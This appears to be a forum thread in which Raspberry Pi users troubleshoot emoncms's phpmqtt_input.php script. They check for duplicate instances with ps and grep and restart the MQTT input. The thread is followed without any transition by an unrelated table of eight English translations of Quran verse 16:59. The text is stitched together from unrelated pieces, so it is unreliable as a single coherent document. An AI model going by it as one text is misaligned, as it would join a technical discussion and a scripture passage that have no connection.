Slightly more to this than meets the eye! Last night I exited SSH and my emoncms mqtt input stopped updating so I assumed phpmqtt_input had stopped ( I am injecting an mqtt message into emoncms every 5 minutes from Node Red).
I had started with sudo php /var/www/emoncms/scripts/phpmqtt_input.php &
So I opened up an SSH session and started phpmqtt_input and got this message :-
pi@StudioPiServer ~ $ sudo php /var/www/emoncms/scripts/phpmqtt_input.php &
[1] 4367
pi@StudioPiServer ~ $ Already running
BUT emoncms is not receiving any mqtt messages. So I ctrl C out of phpmqtt_input, typed the command again and every thing starts working.
pi@StudioPiServer ~ $ sudo php /var/www/emoncms/scripts/phpmqtt_input.php &
[1] 4388
pi@StudioPiServer ~ $ Subscribing to: emoncms/#
emoncms/test 2
emoncms/test 2
I am not over concerned as I intend to implement start on boot but it suggests there are some quirks in the emoncms php mqtt coding.
Regards
Ian
Re: Publish to MQTT - how do you set it up? [Solved]
That doesn't sound good,
The "[1] 4367" process id is normal and usually the only output when the ampersand is used. But the "Already running" isn't explicitly saying whether it has crashed, aborted starting or opened another instance. If multiple copies are open it may result in conflicts which stop the process(es). Using an init script can prevent multiple instances if configured correctly but there again if it is only ever started once at boot and never fails there should only ever be one instance.
ps -ef | grep phpmqtt_input
will show all running instances of phpmqtt_input ( it will also always show 1 apparently extra process as the search process itself contains the search term too). hopefully it is just multiple copies as that will be avoided in normal use.
Paul
Re: Publish to MQTT - how do you set it up? [Solved]
The "extra" process can be eliminated by issuing the command like this:
ps -ef | grep [p]hpmqtt_input
Re: Publish to MQTT - how do you set it up? [Solved]
Good call Bill! Now I just need to figure out why it only works on one Pi and not the other, Technology... don't ya jus' luv it :-)
Re: Publish to MQTT - how do you set it up? [Solved]
Good call Bill!
Thanks, Paul!
Now I just need to figure out why it only works on one Pi and not the other
The answer to that ought to be interesting.... It's never failed to work for me. (on several Linux distros and FreeBSD)
I have a Model B PI2, and an early 256MB Model B. It works OK on both of them.
Reminds me of the old saying, truth is sometimes stranger than fiction!
Re: Publish to MQTT - how do you set it up? [Solved]
Hi
Last night I added a monitor and keyboard to the emoncms pi server and started phpmqtt_input.php from there in the hope it would keep running when I shut down my pc.
That worked and emoncms is still showing the mqtt input every minute this morning. (I changed the node red trigger to 1 minute for testing purposes).
Also last night I added another mqtt output from node red into emoncms as the beginnings of what I am trying to achieve rather than just testing. The strange thing is this does NOT show up in emoncms. I came into the office and looked at the emoncms server and clearly there I am logging both inputs into emoncms!
I then ran SSH into the emoncms server and ran the command suggested with this result:-
pi@StudioPiServer ~ $ ps -ef | grep [p]hpmqtt_input
root 4506 4492 0 May28 tty1 00:00:00 sudo php /var/www/emoncms/scripts/phpmqtt_input.php
root 4507 4506 0 May28 tty1 00:04:20 php /var/www/emoncms/scripts/phpmqtt_input.php
pi@StudioPiServer ~ $
So I do have 2 instances.
I have not yet set up phpmqtt_input.php to run at boot as its going to take a while to get my head around /etc/init.d/skeleton.
I am just about to reboot the emoncms server which is something I rarely do to see where that gets me.
OK after reboot no instances of phpmqtt_input.php. I started phpmqtt_input direct at the server with sudo but no ampersand. Result at SHH is:-
pi@StudioPiServer ~ $ ps -ef | grep [p]hpmqtt_input
pi@StudioPiServer ~ $ ps -ef | grep [p]hpmqtt_input
root 2972 2958 0 09:26 tty1 00:00:00 sudo php /var/www/emoncms/script s/phpmqtt_input.php
root 2973 2972 5 09:26 tty1 00:00:01 php /var/www/emoncms/scripts/php mqtt_input.php
pi@StudioPiServer ~ $
So a single command seems to cause 2 instances. Can this be a self call in the code somewhere?
However the reboot does result in my second mqtt input showing up in emoncms!
So my conclusion is that emoncms mqtt can be made to work and hopefully will do what I want but the coding has a few issues. Out of interest is it the same code used for mqtt when running emonHub?
Yet again thanks for all the help (there needs to be a virtual way we can send real beer or something).
Regards
Ian


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| 016:059 Khan | : |
He hides himself from the people because of the evil of that whereof he has been informed. Shall he keep her with dishonour or bury her in the earth? Certainly, evil is their decision. |
| 016:059 Maulana | : |
He hides himself from the people because of the evil of what is announced to him. Shall he keep it with disgrace or bury it (alive) in the dust. Now surely evil is what they judge! |
| 016:059 Pickthal | : |
He hideth himself from the folk because of the evil of that whereof he hath had tidings, (asking himself): Shall he keep it in contempt, or bury it beneath the dust. Verily evil is their judgment. |
| 016:059 Rashad | : |
Ashamed, he hides from the people, because of the bad news given to him. He even ponders: should he keep the baby grudgingly, or bury her in the dust. Miserable indeed is their judgment. |
| 016:059 Sarwar | : |
They try to hide themselves from the people because of the disgrace of such news. Will they keep their new born despite the disgrace or bury it alive? How sinful is their Judgment! |
| 016:059 Shakir | : |
He hides himself from the people because of the evil of that which is announced to him. Shall he keep it with disgrace or bury it (alive) in the dust? Now surely evil is what they judge. |
| 016:059 Sherali | : |
He hides himself from the people because of the bad news he has had. Shall he keep it inspite of disgrace or shall he bury it in the dust? Verily, evil is that which they judge. |
| 016:059 Yusufali | : |
With shame does he hide himself from his people, because of the bad news he has had! Shall he retain it on (sufferance and) contempt, or bury it in the dust? Ah! what an evil (choice) they decide on? |
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